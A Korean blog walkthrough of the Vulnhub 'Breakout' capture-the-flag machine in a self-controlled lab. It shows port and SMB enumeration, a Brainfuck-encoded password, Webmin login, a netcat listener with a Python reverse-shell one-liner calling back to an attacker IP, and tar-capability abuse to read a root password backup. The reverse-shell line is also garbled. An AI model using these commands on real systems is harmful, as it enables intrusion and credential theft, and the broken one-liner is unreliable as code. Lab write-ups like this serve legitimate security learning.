[7] CTF:Breakout user,rOOt 텍스트 모의해킹
- 2022.08.31 -
220831 ~ 220901
해당 블로그의 내용에는 실제로 해킹을 하는 과정이 언급되어 있습니다.
모의 해킹의 환경은 100% 사용자가 통제가 가능한 상황에서 실습을 진행하였으며
불법적인 해킹이 아닌 모의 해킹으로써 해킹의 목적이 오롯이 교육의 성격에 초점이 맞추어져 있습니다
본 과정을 악용하여 사용하는 2차 피해에 대해서는 행위자가 법적 책임을 질 수 있으며
일어나는 모든 피해에 대해서는 책임지지 않습니다.
구축 환경
가상 시스템 - 역할 - 운영기반
KALI - Attacker - Debian GNU
Breakout - Victim - Debian GNU
IP 목록
Host - IP Address
KALI - 192.168.181.128
Breakout - 192.168.181.133
시나리오 내용
Vulnhub에 게시되어있는 Breakout.ova를 CTF하였다.
user.txt와 rOOt.txt를 모두 열어 확인하고 루트 권한까지 상승하여 탈취해보자
실습 시작
가상머신 파일(.ova)를 다운로드 받아 VM ware에서 구동하였다. 네트워크 설정은 NAT로 지정하였고 같은 네트워크의 특성상 132다음의 번호인 133이 부여될 것 같지만 확실히 하기 위해 머신 세팅에 들어가 NAT의 Advanced를 눌러 MAC주소를 확인한다.
맥 주소는 00:0C:29:C5:5D:E4 이다
가상머신에서 열어보니 현재 연결된 네트워크의 IP정보가 게시되어 있다.
명령어를 이용하여 현재 네트워크(eho0)에 연결된 호스트정보를 빠르게 불러온다.
결과로 조금전 확인 맥주소와 breakout 파일의 IP와 서로 모두 매칭되는 것을 확인 할 수 있다.
IP가 안나올 것 같아서 맥주소를 미리 확인했는데 파일을 열자마자 바로 나와서 깜짝 놀랐다.
sudo netdiscover -r 192.168.181.0/24
nmap을 이용하여 포트 스캔을 시작했다.
139,445번 포트가 netbios-ssn을 위해 열려 있고
80,10000,20000번 포트가 http서버로 열려있는 것을 확인할 수 있었고
그 중 80번 기본 포트가 아파치가 설치되어 있는것을 확인
10000,20000번 포트에는 webmin server가 설치되어 있는것도 확인했다.
sudo nmap -sV -sC 192.168.181.133
그래서 브라우저를 열고 192.168.181.133으로 접속했다. http기본 접속 포트인 80번으로 접속되고 기본 아파치 화면이 나오는 것을 확인 했다.
Dirb명령어를 이용해 하위 파일을 스캔했다.
결과로 181.133/manual 이라는 공통된 디렉토리들을 확인 할 수 있을 뿐 그 외에는 다 동일한 기본 사이트 뿐이였다.
sudo dirb http://192.168.181.133/
주소 앞에 view-source: 를 붙여서 해당 페이지의 소스를 확인해 보기로 했다.
가장 맨 밑으로 내려보니 주석처리된 이상한 패턴을 가진 코드들을 확인 할 수 있었다.
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
해당 문자열을 복사해 구글에서 그대로 검색을 넣으니 동일한 키워드인 Brainfuck Language 가 나왔다.
브레인퍽이라는 알고리즘으로 암호화가 된 것으로 보아 디코더도 있을 것 같아 검색해보았다.
코드를 해독할 수 있는 디코더가 있는 것을 확인했다.
결과 값으로 출력된 것을 확인 할 수 있다.
결과 값 : .2uqPEfj3D<P'a-3
명령어 enum4linux에 옵션 -a를 넣어 머신의 모든 정보를 불러온다.
enum4linux는 리눅스 시스템에서 SMB를 열거하는 도구이다.
기본적으로 samba패키지의 도구를 중심으로 한 패키지이므로 SMB대상에서 정보를 쉽게 추출 할 수 있다.
sudo enum4linux -a 192.168.181.133
나열된 정보들을 내려보면 User\cyber 으로 유저이름이 cyber이란것을 확인 할 수 있다.
Webmin에 접속할 수 있는 관리자 로그인창이 뜬다.
처음에는 User\cyber가 사용자 이름과 비밀번호가 나온줄 알고 한참 시도 했다
계속 로그인에 실패하면 위와 같은 메세지가 출력되면서 로그인 접속이 차단된다.
결국 알아냈다..ㅋㅋㅋㅋㅋ
일단 사용자 이름은 cyber. 그리고 조금전에 브레인퍽을 이용해 디코딩 했던 문자열을 가져와 보았다.
ID : cyber
Passwd : .2uqPEfj3D<P'a-3
로그인 접속 후 좌측 아래에 있는 web terminal을 열어 준다.
명령어들을 입력해서 로그인 주체를 확인하고 id를 통해 해당 권한을 확인한다.
선명하게 캡쳐하려 했지만 웹 터미널이다 보니 폰트가 절대적으로 작고 ㅠ 깨진다..
아래에 따로 정리해둔것을 꼭 확인 하자
whoami
id
ls
cat user.txt
이렇게 해서 CTF 문제였던 user.txt파일을 열어 보았다.
kali에서 명령어를 이용해 원격포트를 열고 대기해준다.
nc -lvp 1234
위 코드를 웹 터미널에 붙여넣으면 칼리와 원격접속을 하면서 이제 칼리에서 컨트롤을 이어갈 수 있다.
중간에 IP라고 적힌 부분은 꼭 접속할 Host의 IP로 변경해주자
python3 -c 'import socket,os,pty;s=interval.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("IP Address",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1),os.dup2(s.fileno(s.fileno(2),2); pty.spawn("/bin/sh")'
칼리로의 접속을 완료했다.
이제 칼리에서 명령을 이어갈 수 있게 되었다.
cat /etc/issue
uname -a
find /-perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
1번째 줄의 cat /etc/issue는 리눅스의 버전을 확인하는 명령어이다.
2번째 줄의 unamee -a는 리눅스의 시스템 정보를 확인하는 명령어이다.
ls -al
cd
./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak
루트 비밀번호 : Ts&4&YurgtRX(=~h
su root를 입력해 계정을 root로 스위칭한다.
비밀번호를 위에서 알아낸 비밀번호를 입력한다.
/root로 이동 후 디렉토리를 조회하면 rOOt.txt파일이 있는 것을 확인 할 수 있다.
cat을 이용해 rOOt.txt파일까지 열어서 문제 해결!
cd /root
ls
cat rOOt.txt
root의 패스워드가 복잡하여 패스워드를 변경해 보자.
현재 계정으로 로그인이 되어 있다면 그대로 패스워드를 변경할 수 있다.
변경한 패스워드는 breakout 이다.
변경한 패스워드는 두번 입력하여 확인한다.
passwd
breakout
breakout
머신에서 로그인하여 최종적으로 확인한다.
마 치 며
여러가지 CTF를 접해보니 생각보다 비슷한 패턴들이 있는 것 같으면서도
꼬아놓은게 방탈출게임을 하는 것같다.
중간중간 정말 모르겠는건 검색을 통해 힌트를 받아서 풀어나갔다.
특히 웹 터미널에서 칼리로 접속해서 넘어가는건 정말.. 아직도 이해가 되지 않는다 ㅠ
좀 더 공부하고 쉬운쪽으로 접속이 가능하게 노하우가 필요해 보인다.
해볼수록 노하우가 조금씩 쌓이는 것 같다.
특히 같은 대역대 안에서의 IP스캔은 생각보다 더 빠르게 찾는 방법을 알았다.
다음 CTF때는 좀 더 편하고 빠르게 찾을 수 있을 것 같다.
'Red Team > Penetration Testing & CTF' 카테고리의 다른 글
[9] Kali에서 DOS공격 및 툴 설치와 패킷 탐지 (Xerosploit) (2) | 2022.11.11 |
---|---|
[8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹 (0) | 2022.09.05 |
[6] Earth리눅스 취약점 분석 및 모의해킹(w. vulnhub) (0) | 2022.08.27 |
[5] docker에 대한 무작위대입공격 모의해킹 (2) | 2022.08.22 |
[4]OpenSSL 취약점을 이용한 Heartbleed 모의해킹 (0) | 2022.08.19 |
댓글
이 글 공유하기
다른 글
-
[9] Kali에서 DOS공격 및 툴 설치와 패킷 탐지 (Xerosploit)
[9] Kali에서 DOS공격 및 툴 설치와 패킷 탐지 (Xerosploit)
2022.11.11 -
[8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹
[8] CTF:Beelzebub Linux Serv-U FTP 취약점 모의해킹
2022.09.05 -
[6] Earth리눅스 취약점 분석 및 모의해킹(w. vulnhub)
[6] Earth리눅스 취약점 분석 및 모의해킹(w. vulnhub)
2022.08.27 -
[5] docker에 대한 무작위대입공격 모의해킹
[5] docker에 대한 무작위대입공격 모의해킹
2022.08.22